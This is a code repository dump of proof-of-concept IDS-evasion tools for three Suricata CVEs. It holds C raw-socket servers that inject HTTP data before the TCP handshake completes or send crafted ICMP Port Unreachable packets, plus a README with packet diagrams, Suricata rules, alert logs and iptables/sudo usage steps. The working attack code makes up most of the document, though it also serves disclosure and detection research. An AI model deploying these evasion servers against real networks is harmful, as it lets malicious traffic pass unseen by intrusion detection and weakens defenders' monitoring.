├── icmp_server.pcap ├── rst_server.pcap ├── screenshot.png ├── inject_server.pcap ├── Makefile ├── server.h ├── icmp_server.c ├── README.md ├── inject_server.c └── rst_server.c /icmp_server.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kirillwow/ids_bypass/HEAD/icmp_server.pcap -------------------------------------------------------------------------------- /rst_server.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kirillwow/ids_bypass/HEAD/rst_server.pcap -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kirillwow/ids_bypass/HEAD/screenshot.png -------------------------------------------------------------------------------- /inject_server.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kirillwow/ids_bypass/HEAD/inject_server.pcap -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -c -Wall -D_GNU_SOURCE -g 3 | LDFLAGS = -lpcap 4 | SOURCES = inject_server.c icmp_server.c rst_server.c 5 | INCLUDES = -I. 6 | TARGET = inject_server icmp_server rst_server 7 | 8 | all: $(SOURCES) $(TARGET) 9 | 10 | inject_server: inject_server.o 11 | $(CC) inject_server.o -o $@ $(LDFLAGS) 12 | 13 | icmp_server: icmp_server.o 14 | $(CC) icmp_server.o -o $@ $(LDFLAGS) 15 | 16 | rst_server: rst_server.o 17 | $(CC) rst_server.o -o $@ $(LDFLAGS) 18 | 19 | .c.o: 20 | $(CC) $(CFLAGS) $(INCLUDES) $< -o $@ 21 | 22 | clean: 23 | rm -rf *.o $(TARGET) 24 | -------------------------------------------------------------------------------- /server.h: -------------------------------------------------------------------------------- 1 | #ifndef SERVER_H 2 | #define SERVER_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #define __FAVOR_BSD 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | int linkhdrlen; 29 | 30 | uint16_t udp_checksum(const void *buff, size_t len, in_addr_t src_addr, in_addr_t dest_addr) 31 | { 32 | const uint16_t *buf=buff; 33 | uint16_t *ip_src=(void *)&src_addr, *ip_dst=(void *)&dest_addr; 34 | uint32_t sum = 0; 35 | 36 | sum += htons(IPPROTO_UDP); 37 | sum += htons(len); 38 | sum += *(ip_src++); 39 | sum += *ip_src; 40 | sum += *(ip_dst++); 41 | sum += *ip_dst; 42 | 43 | for (; len > 1; len -=2) 44 | sum += *buf++; 45 | 46 | if ( len & 1 ) 47 | sum += *((uint8_t *)buf); 48 | 49 | sum = (sum & 0xFFFF) + (sum >> 16); 50 | 51 | return ( (uint16_t)(~sum) ); 52 | } 53 | 54 | uint16_t tcp_checksum(const void *buff, size_t len, in_addr_t src_addr, in_addr_t dest_addr) 55 | { 56 | const uint16_t *buf=buff; 57 | uint16_t *ip_src=(void *)&src_addr, *ip_dst=(void *)&dest_addr; 58 | uint32_t sum = 0; 59 | 60 | sum += htons(IPPROTO_TCP); 61 | sum += htons(len); 62 | sum += *(ip_src++); 63 | sum += *ip_src; 64 | sum += *(ip_dst++); 65 | sum += *ip_dst; 66 | 67 | for (; len > 1; len -=2) 68 | sum += *buf++; 69 | 70 | if ( len & 1 ) 71 | sum += *((uint8_t *)buf); 72 | 73 | sum = (sum & 0xFFFF) + (sum >> 16); 74 | 75 | return ( (uint16_t)(~sum) ); 76 | } 77 | 78 | unsigned short csum(unsigned short *ptr,int nbytes) { 79 | unsigned long sum; 80 | 81 | sum = 0; 82 | for (; nbytes > 1; nbytes -= 2) 83 | sum += *ptr++; 84 | 85 | if(nbytes == 1) 86 | sum+=*(u_char*)ptr; 87 | 88 | sum = (sum >> 16) + (sum & 0xffff); 89 | sum = sum + (sum >> 16); 90 | 91 | return (short) ~sum;; 92 | } 93 | 94 | pcap_t* open_pcap_socket(char* device, const char* bpfstr) 95 | { 96 | char errbuf[PCAP_ERRBUF_SIZE]; 97 | pcap_t* pd; 98 | uint32_t srcip, netmask; 99 | struct bpf_program bpf; 100 | 101 | // If no network interface (device) is specfied, get the first one. 102 | if (!*device && !(device = pcap_lookupdev(errbuf))) 103 | { 104 | printf("pcap_lookupdev(): %s\n", errbuf); 105 | return NULL; 106 | } 107 | 108 | // Open the device for live capture, as opposed to reading a packet 109 | // capture file. 110 | if ((pd = pcap_open_live(device, BUFSIZ, 1, 0, errbuf)) == NULL) 111 | { 112 | printf("pcap_open_live(): %s\n", errbuf); 113 | return NULL; 114 | } 115 | 116 | // Get network device source IP address and netmask. 117 | if (pcap_lookupnet(device, &srcip, &netmask, errbuf) < 0) 118 | { 119 | printf("pcap_lookupnet: %s\n", errbuf); 120 | return NULL; 121 | } 122 | 123 | // Convert the packet filter epxression into a packet 124 | // filter binary. 125 | if (pcap_compile(pd, &bpf, (char*)bpfstr, 0, netmask)) 126 | { 127 | printf("pcap_compile(): %s\n", pcap_geterr(pd)); 128 | return NULL; 129 | } 130 | 131 | // Assign the packet filter to the given libpcap socket. 132 | if (pcap_setfilter(pd, &bpf) < 0) 133 | { 134 | printf("pcap_setfilter(): %s\n", pcap_geterr(pd)); 135 | return NULL; 136 | } 137 | 138 | return pd; 139 | } 140 | 141 | void capture_loop(pcap_t* pd, int packets, pcap_handler func) 142 | { 143 | int linktype; 144 | 145 | // Determine the datalink layer type. 146 | if ((linktype = pcap_datalink(pd)) < 0) 147 | { 148 | printf("pcap_datalink(): %s\n", pcap_geterr(pd)); 149 | return; 150 | } 151 | 152 | // Set the datalink layer header size. 153 | switch (linktype) 154 | { 155 | case DLT_NULL: 156 | linkhdrlen = 4; 157 | break; 158 | 159 | case DLT_EN10MB: 160 | linkhdrlen = 14; 161 | break; 162 | 163 | case DLT_SLIP: 164 | case DLT_PPP: 165 | linkhdrlen = 24; 166 | break; 167 | 168 | default: 169 | printf("Unsupported datalink (%d)\n", linktype); 170 | return; 171 | } 172 | 173 | // Start capturing packets. 174 | if (pcap_loop(pd, packets, func, 0) < 0) 175 | printf("pcap_loop failed: %s\n", pcap_geterr(pd)); 176 | } 177 | 178 | #endif -------------------------------------------------------------------------------- /icmp_server.c: -------------------------------------------------------------------------------- 1 | #include "server.h" 2 | 3 | #define DATA "you have been hacked" 4 | 5 | pcap_t* pd; 6 | int sock = 0, one = 1; 7 | int sender_port = 0; 8 | int debug_output = 0; 9 | 10 | void parse_packet(u_char *user, struct pcap_pkthdr *packethdr, 11 | u_char *packetptr) 12 | { 13 | struct ip* iphdr; 14 | struct udphdr* udphdr; 15 | char iphdrInfo[256], srcip[256], dstip[256]; 16 | 17 | int bytes; 18 | struct iphdr *ipHdr; 19 | struct udphdr *udpHdr; 20 | struct icmphdr *icmpHdr; 21 | char *data; 22 | char packet[2048]; 23 | char buf[4]; 24 | struct sockaddr_in addr_in; 25 | 26 | // Skip the datalink layer header and get the IP header fields. 27 | packetptr += linkhdrlen; 28 | iphdr = (struct ip*)packetptr; 29 | strcpy(srcip, inet_ntoa(iphdr->ip_src)); 30 | strcpy(dstip, inet_ntoa(iphdr->ip_dst)); 31 | sprintf(iphdrInfo, "ID:%d TOS:0x%x, TTL:%d IpLen:%d DgLen:%d", 32 | ntohs(iphdr->ip_id), iphdr->ip_tos, iphdr->ip_ttl, 33 | 4*iphdr->ip_hl, ntohs(iphdr->ip_len)); 34 | 35 | // Advance to the transport layer header then parse and display 36 | // the fields based on the type of hearder: tcp, udp or icmp. 37 | packetptr += 4*iphdr->ip_hl; 38 | if (iphdr->ip_p == IPPROTO_UDP ) 39 | { 40 | udphdr = (struct udphdr*)packetptr; 41 | if (debug_output) 42 | printf("[*] UDP %s:%d -> %s:%d\t", srcip, ntohs(udphdr->source), dstip, ntohs(udphdr->dest)); 43 | 44 | sender_port = ntohs(udphdr->source); 45 | 46 | addr_in.sin_family = AF_INET; 47 | addr_in.sin_port = udphdr->source; 48 | addr_in.sin_addr.s_addr = iphdr->ip_src.s_addr; 49 | 50 | memset(packet, 0, sizeof(packet)); 51 | ipHdr = (struct iphdr *) packet; 52 | icmpHdr = (struct icmphdr *) (packet + sizeof(struct iphdr)); 53 | data = (char *) (packet + sizeof(struct iphdr) + sizeof(struct icmphdr)); 54 | 55 | ipHdr->ihl = 5; 56 | ipHdr->version = 4; 57 | ipHdr->tos = 0; 58 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr) + ntohs(iphdr->ip_len); 59 | ipHdr->id = htons(rand()); 60 | ipHdr->frag_off = 0x00; 61 | ipHdr->ttl = 0xFF; 62 | ipHdr->protocol = IPPROTO_ICMP; 63 | ipHdr->check = 0; 64 | ipHdr->saddr = iphdr->ip_dst.s_addr; 65 | ipHdr->daddr = iphdr->ip_src.s_addr; 66 | 67 | ipHdr->check = csum((unsigned short *) packet, ipHdr->tot_len); 68 | 69 | icmpHdr->type = ICMP_DEST_UNREACH; 70 | icmpHdr->code = ICMP_PORT_UNREACH; 71 | icmpHdr->checksum = 0x0; 72 | icmpHdr->un.gateway = 0x0; // UNUSED 73 | 74 | memcpy(data, iphdr, ntohs(iphdr->ip_len)); 75 | 76 | // Change IPs and Ports to fool IDS and not to cause client to close the connection 77 | memcpy(buf, data+12, 4); // Change IPs 78 | memcpy(data+12, data+16, 4); 79 | memcpy(data+16, buf, 4); 80 | memcpy(buf, data+20, 2); // Change Ports 81 | memcpy(data+20, data+22, 2); 82 | memcpy(data+22, buf, 2); 83 | 84 | icmpHdr->checksum = csum((uint16_t *) icmpHdr, sizeof(struct icmphdr) + ntohs(iphdr->ip_len)); 85 | 86 | printf("[+] Incoming connection from <%s:%d>\n", srcip, ntohs(udphdr->source)); 87 | if((bytes = sendto(sock, packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 88 | perror("Error on sendto()"); 89 | else 90 | printf("\t[+] [%s:%d] Sending ICMP Dest. Unreachable\n", srcip, ntohs(udphdr->source)); 91 | 92 | memset(icmpHdr, 0x0, ipHdr->tot_len - sizeof(struct iphdr)); 93 | udpHdr = (struct udphdr *) (packet + sizeof(struct iphdr)); 94 | data = (char *) (packet + sizeof(struct iphdr) + sizeof(struct udphdr)); 95 | strcpy(data, DATA); 96 | 97 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(data); 98 | ipHdr->protocol = IPPROTO_UDP; 99 | 100 | udpHdr->source = udphdr->dest; 101 | udpHdr->dest = udphdr->source; 102 | udpHdr->len = htons(sizeof(struct udphdr) + strlen(data)); 103 | udpHdr->check = 0x0; 104 | 105 | udpHdr->check = udp_checksum(udpHdr, sizeof(struct udphdr) + strlen(data), ipHdr->saddr, ipHdr->daddr); 106 | 107 | if((bytes = sendto(sock, packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 108 | perror("Error on sendto()"); 109 | else 110 | printf("\t[+] [%s:%d] Sending HACKING response data\n", srcip, ntohs(udphdr->source)); 111 | } 112 | } 113 | 114 | 115 | int main(int argc, char **argv) 116 | { 117 | char help[256] = ""; 118 | char interface[256] = "", bpfstr[256] = "", port[256] = ""; 119 | int c; 120 | 121 | sprintf(help, "usage: %s -i -p [-d] \n\t-d\tenable debug output\n\n", argv[0]); 122 | 123 | if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 124 | perror("Error while creating socket"); 125 | exit(-1); 126 | } 127 | 128 | if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { 129 | perror("Error while setting socket options"); 130 | exit(-1); 131 | } 132 | 133 | while ((c = getopt (argc, argv, "hadi:p:")) != -1) 134 | { 135 | switch (c) 136 | { 137 | case 'i': 138 | strcpy(interface, optarg); 139 | break; 140 | case 'p': 141 | strcpy(port, optarg); 142 | break; 143 | case 'd': 144 | debug_output = 1; 145 | break; 146 | case 'h': 147 | default: 148 | printf("%s",help); 149 | exit(0); 150 | break; 151 | } 152 | } 153 | 154 | if (atoi(port) < 1 || atoi(port) > 65535 || interface[0] == 0x0) 155 | { 156 | printf("%s", help); 157 | exit(0); 158 | } 159 | 160 | strcat(bpfstr, "udp and dst port "); 161 | strcat(bpfstr, port); 162 | 163 | if ((pd = open_pcap_socket(interface, bpfstr))) 164 | { 165 | capture_loop(pd, 0, (pcap_handler)parse_packet); 166 | } 167 | exit(0); 168 | } 169 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Disclaimer 2 | 3 | These programs is for Educational purpose ONLY. Do not use it without permission. 4 | 5 | ## inject_server: Proof-Of-Concept for CVE-2018-6794. 6 | 7 | If as a server side you break a normal TCP 3 way handshake packets order and inject some response data before 3whs is complete then data still will be received by the client but some IDS engines may skip content checks on that. 8 | 9 | ``` 10 | Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake 11 | Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # Server responses as it should, but ... 12 | Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # It sends HTTP response before the 3whs is completed 13 | Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server # Moreover it finishes TCP session 14 | Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # Client finishes TCP 3whs by sending ACK packet and confirms data from server 15 | Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server # Then it sends a HTTP GET request as nothing wrong happened 16 | ``` 17 | 18 | Suricata IDS < 4.0.4 is prone to this issue: HTTP or Stream-TCP signatures will not alert on the injected content. 19 | We do not see any alerts on an evil http response data if we apply the following signatures against PoC network traffic 20 | 21 | ``` 22 | alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; ) 23 | alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; ) 24 | alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; ) 25 | alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; ) 26 | alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; ) 27 | alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; ) 28 | 29 | 03/02/2018-11:08:13.012990 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581 30 | 03/02/2018-11:08:13.013610 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80 31 | 03/02/2018-11:08:13.018914 [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80 32 | 03/02/2018-11:08:13.018914 [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80 33 | ``` 34 | 35 | ## rst_server: Proof-Of-Concept for CVE-2018-14568. 36 | 37 | Windows clients are able to process TCP data even if they arrived shortly after TCP RST packet. Some IDSes process this correctly and try to match data after RST but some stops inpecting TCP stream after RST was received. 38 | 39 | ``` 40 | Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake 41 | Client <- [RST, ACK] [Seq=0x0 Ack=1] <- Evil Server # Server responses with TCP RST 42 | Client <- [SYN, ACK] [Seq=1 Ack=1] <- Evil Server # And SYN-ACK shortly after RST 43 | ... 3whs continues ... 44 | ``` 45 | 46 | Suricata IDS is still prone to this issue: HTTP or Stream-TCP signatures will not alert on this TCP session. 47 | 48 | ``` 49 | alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; ) 50 | alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; ) 51 | alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; ) 52 | alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; ) 53 | alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; ) 54 | alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; ) 55 | 56 | 05/03/2018-19:13:43.270632 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80 57 | 05/03/2018-19:13:43.471128 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434 58 | ``` 59 | 60 | ## icmp_server: Proof-Of-Concept for CVE-2016-10728. 61 | 62 | Server should reply with ICMP message type "Destination Unreachable" code "Port Unreachable" if a UDP packet was sent to a closed UDP port. IDS may interpret ICMP Unreachable answers on the same way as TCP RST packets and stop or limit traffic inspection of this UDP stream. If a normal UDP answer follows the ICMP message then attacker bypasses UDP checks of traffic from his server. Note that normal clients close connections if ICMP Dest. Unreachable was received so we interchange IP addresses and UDP ports in ICMP message's attached UDP so client does not accept such ICMP message but IDS does. 63 | 64 | ``` 65 | Client -> [UDP Req] -> Evil Server # Client starts UDP session by sending a packet 66 | Client <- [ICMP] [Type=3, Code=3] <- Evil Server # Server responses with *improved* ICMP Destination Unreachable first 67 | Client <- [UDP Resp] <- Evil Server # And with UDP answer as usual 68 | ``` 69 | 70 | Suricata IDS < 3.1.2 is prone to this issue: UDP signatures will not match on packets from Evil Server. 71 | 72 | ``` 73 | alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; ) 74 | alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; ) 75 | 76 | 05/03/2018-03:44:11.016635 [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80 77 | ``` 78 | 79 | This techniques may be applied for other Intrusion Detection or Network Monitoring tools and systems. 80 | 81 | ## Author and Credits 82 | Kirill Shipulin from Positive Technologies (@kirill_wow) 83 | Slides from my Hackfest 2018 talk [available](https://www.slideshare.net/KirillShipulin/how-to-bypass-an-ids-with-netcat-and-linux) 84 | 85 | ## Usage 86 | ``` 87 | git clone https://github.com/kirillwow/ids_bypass.git 88 | cd ids_bypass 89 | make 90 | # inject server 91 | sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP 92 | sudo ./inject_server # print help 93 | sudo ./inject_server -i eno16777736 -p 80 94 | # rst server 95 | sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT 96 | sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP 97 | sudo ./rst_server # print help 98 | sudo ./rst_server -i eno16777736 -p 80 99 | # icmp server 100 | sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT 101 | sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP 102 | sudo ./icmp_server # print help 103 | sudo ./icmp_server -i eno16777736 -p 80 104 | ``` 105 | 106 | 107 | ![alt PoC](https://github.com/kirillwow/ids_bypass/raw/master/screenshot.png) 108 | -------------------------------------------------------------------------------- /inject_server.c: -------------------------------------------------------------------------------- 1 | #include "server.h" 2 | 3 | #define DATA "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: 21\r\n\r\nyou have been hacked!" 4 | 5 | pcap_t* pd; 6 | int sock = 0, one = 1; 7 | int sender_port = 0; 8 | int debug_output = 0; 9 | int send_ack = 0; 10 | 11 | void parse_packet(u_char *user, struct pcap_pkthdr *packethdr, 12 | u_char *packetptr) 13 | { 14 | struct ip* iphdr; 15 | struct tcphdr* tcphdr; 16 | char iphdrInfo[256], srcip[256], dstip[256]; 17 | 18 | int bytes; 19 | struct iphdr *ipHdr; 20 | struct tcphdr *tcpHdr; 21 | char *data; 22 | char synack_packet[2048]; 23 | char pshack_packet[2048]; 24 | char finack_packet[2048]; 25 | char ack_packet[2048]; 26 | struct sockaddr_in addr_in; 27 | int seq_number; 28 | 29 | // Skip the datalink layer header and get the IP header fields. 30 | packetptr += linkhdrlen; 31 | iphdr = (struct ip*)packetptr; 32 | strcpy(srcip, inet_ntoa(iphdr->ip_src)); 33 | strcpy(dstip, inet_ntoa(iphdr->ip_dst)); 34 | sprintf(iphdrInfo, "ID:%d TOS:0x%x, TTL:%d IpLen:%d DgLen:%d", 35 | ntohs(iphdr->ip_id), iphdr->ip_tos, iphdr->ip_ttl, 36 | 4*iphdr->ip_hl, ntohs(iphdr->ip_len)); 37 | 38 | // Advance to the transport layer header then parse and display 39 | // the fields based on the type of hearder: tcp, udp or icmp. 40 | packetptr += 4*iphdr->ip_hl; 41 | if (iphdr->ip_p == IPPROTO_TCP ) 42 | { 43 | tcphdr = (struct tcphdr*)packetptr; 44 | 45 | addr_in.sin_family = AF_INET; 46 | addr_in.sin_port = tcphdr->source; 47 | addr_in.sin_addr.s_addr = iphdr->ip_src.s_addr; 48 | 49 | if (debug_output) 50 | { 51 | printf("[*] TCP %s:%d -> %s:%d\t", srcip, ntohs(tcphdr->source), dstip, ntohs(tcphdr->dest)); 52 | printf( "%c%c%c%c%c%c Seq: 0x%x Ack: 0x%x Win: 0x%x TcpLen: %d\n", 53 | (tcphdr->urg ? 'U' : '*'), (tcphdr->ack ? 'A' : '*'), 54 | (tcphdr->psh ? 'P' : '*'), (tcphdr->rst ? 'R' : '*'), 55 | (tcphdr->syn ? 'S' : '*'), (tcphdr->fin ? 'F' : '*'), 56 | ntohl(tcphdr->seq), ntohl(tcphdr->ack_seq), ntohs(tcphdr->window), 4*tcphdr->doff 57 | ); 58 | } 59 | 60 | sender_port = ntohs(tcphdr->source); 61 | seq_number = rand(); 62 | 63 | memset(synack_packet, 0, sizeof(synack_packet)); 64 | memset(pshack_packet, 0, sizeof(pshack_packet)); 65 | memset(finack_packet, 0, sizeof(finack_packet)); 66 | memset(ack_packet, 0, sizeof(ack_packet)); 67 | 68 | // Preparing SYN-ACK packet 69 | ipHdr = (struct iphdr *) synack_packet; 70 | tcpHdr = (struct tcphdr *) (synack_packet + sizeof(struct iphdr)); 71 | 72 | ipHdr->ihl = 5; 73 | ipHdr->version = 4; 74 | ipHdr->tos = 0; 75 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); 76 | ipHdr->id = htons(rand()); 77 | ipHdr->frag_off = 0x00; 78 | ipHdr->ttl = 0xFF; 79 | ipHdr->protocol = IPPROTO_TCP; 80 | ipHdr->check = 0; 81 | ipHdr->saddr = iphdr->ip_dst.s_addr; 82 | ipHdr->daddr = iphdr->ip_src.s_addr; 83 | 84 | ipHdr->check = csum((unsigned short *) synack_packet, ipHdr->tot_len); 85 | 86 | tcpHdr->source = tcphdr->dest; 87 | tcpHdr->dest = tcphdr->source; 88 | tcpHdr->seq = htonl(seq_number); 89 | seq_number += 1; // Increment seq number 90 | tcpHdr->ack_seq = htonl(ntohl(tcphdr->seq) + 1); 91 | tcpHdr->doff = 5; 92 | tcpHdr->res1 = 0; 93 | tcpHdr->cwr = 0; 94 | tcpHdr->ece = 0; 95 | tcpHdr->urg = 0; 96 | tcpHdr->ack = 1; 97 | tcpHdr->psh = 0; 98 | tcpHdr->rst = 0; 99 | tcpHdr->syn = 1; 100 | tcpHdr->fin = 0; 101 | tcpHdr->window = htons(15500); 102 | tcpHdr->check = 0; 103 | tcpHdr->urg_ptr = 0; 104 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 105 | 106 | // Preparing DATA packet 107 | memcpy(pshack_packet, synack_packet, sizeof(struct iphdr) + sizeof(struct tcphdr)); 108 | ipHdr = (struct iphdr *) pshack_packet; 109 | tcpHdr = (struct tcphdr *) (pshack_packet + sizeof(struct iphdr)); 110 | data = (char *) (pshack_packet + sizeof(struct iphdr) + sizeof(struct tcphdr)); 111 | strcpy(data, DATA); 112 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data); 113 | tcpHdr->seq = htonl(seq_number); 114 | seq_number += strlen(data);// Increment seq number 115 | tcpHdr->syn = 0; 116 | tcpHdr->psh = 1; 117 | tcpHdr->check = 0x0; 118 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr) + strlen(data), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 119 | 120 | // Preparing FIN packet 121 | memcpy(finack_packet, pshack_packet, sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data)); 122 | ipHdr = (struct iphdr *) finack_packet; 123 | tcpHdr = (struct tcphdr *) (finack_packet + sizeof(struct iphdr)); 124 | tcpHdr->seq = htonl(seq_number); 125 | seq_number += 1; // Increment seq number 126 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); 127 | tcpHdr->fin = 1; 128 | tcpHdr->psh = 0; 129 | tcpHdr->check = 0x0; 130 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 131 | 132 | // Preparing ACK packet 133 | memcpy(ack_packet, synack_packet, sizeof(struct iphdr) + sizeof(struct tcphdr)); 134 | ipHdr = (struct iphdr *) ack_packet; 135 | tcpHdr = (struct tcphdr *) (ack_packet + sizeof(struct iphdr)); 136 | tcpHdr->seq = tcphdr->ack_seq; 137 | tcpHdr->ack_seq = htonl(ntohl(tcphdr->seq) + 1); 138 | if (strlen((char*) tcphdr + 4*tcphdr->doff) > 0) 139 | tcpHdr->ack_seq = htonl(ntohl(tcpHdr->ack_seq) - 1 + strlen((char*) tcphdr + 4*tcphdr->doff)); 140 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); 141 | tcpHdr->ack = 1; 142 | tcpHdr->psh = 0; 143 | tcpHdr->rst = 0; 144 | tcpHdr->syn = 0; 145 | tcpHdr->fin = 0; 146 | tcpHdr->check = 0x0; 147 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 148 | 149 | if (tcphdr->syn && !tcphdr->ack ) 150 | { 151 | printf("[+] Incoming connection from <%s:%d>\n\t", srcip, ntohs(tcphdr->source)); 152 | ipHdr = (struct iphdr *) synack_packet; 153 | if((bytes = sendto(sock, synack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 154 | perror("Error on sendto()"); 155 | else { 156 | printf("[+] [%s:%d] Sending SYN-ACK\n", srcip, ntohs(tcphdr->source)); 157 | } 158 | ipHdr = (struct iphdr *) pshack_packet; 159 | if((bytes = sendto(sock, pshack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 160 | perror("Error on sendto()"); 161 | else { 162 | printf("\t[+] [%s:%d] Sending HTTP response data\n", srcip, ntohs(tcphdr->source)); 163 | } 164 | ipHdr = (struct iphdr *) finack_packet; 165 | if((bytes = sendto(sock, finack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 166 | perror("Error on sendto()"); 167 | else { 168 | printf("\t[+] [%s:%d] Closing connection. Sending FIN-ACK\n", srcip, ntohs(tcphdr->source)); 169 | } 170 | } 171 | else if (tcphdr->ack && (tcphdr->psh || tcphdr->fin) && send_ack) 172 | { 173 | ipHdr = (struct iphdr *) ack_packet; 174 | if((bytes = sendto(sock, ack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 175 | perror("Error on sendto()"); 176 | else 177 | printf("[+] ACKing to [%s:%d]\n", srcip, ntohs(tcphdr->source)); 178 | } 179 | } 180 | } 181 | 182 | 183 | int main(int argc, char **argv) 184 | { 185 | char help[256] = ""; 186 | char interface[256] = "", bpfstr[256] = "", port[256] = ""; 187 | int c; 188 | 189 | sprintf(help, "usage: %s -i -p [-d] [-a]\n\t-d\tenable debug output\n\t-a\tsend ACK packet to every incoming data packet\n\n", argv[0]); 190 | 191 | if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 192 | perror("Error while creating socket"); 193 | exit(-1); 194 | } 195 | 196 | if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { 197 | perror("Error while setting socket options"); 198 | exit(-1); 199 | } 200 | 201 | while ((c = getopt (argc, argv, "hadi:p:")) != -1) 202 | { 203 | switch (c) 204 | { 205 | case 'i': 206 | strcpy(interface, optarg); 207 | break; 208 | case 'p': 209 | strcpy(port, optarg); 210 | break; 211 | case 'd': 212 | debug_output = 1; 213 | break; 214 | case 'a': 215 | send_ack = 1; 216 | break; 217 | case 'h': 218 | default: 219 | printf("%s", help); 220 | exit(0); 221 | break; 222 | } 223 | } 224 | 225 | if (atoi(port) < 1 || atoi(port) > 65535 || interface[0] == 0x0) 226 | { 227 | printf("%s", help); 228 | exit(0); 229 | } 230 | 231 | strcat(bpfstr, "tcp and dst port "); 232 | strcat(bpfstr, port); 233 | 234 | if ((pd = open_pcap_socket(interface, bpfstr))) 235 | { 236 | capture_loop(pd, 0, (pcap_handler)parse_packet); 237 | } 238 | exit(0); 239 | } 240 | -------------------------------------------------------------------------------- 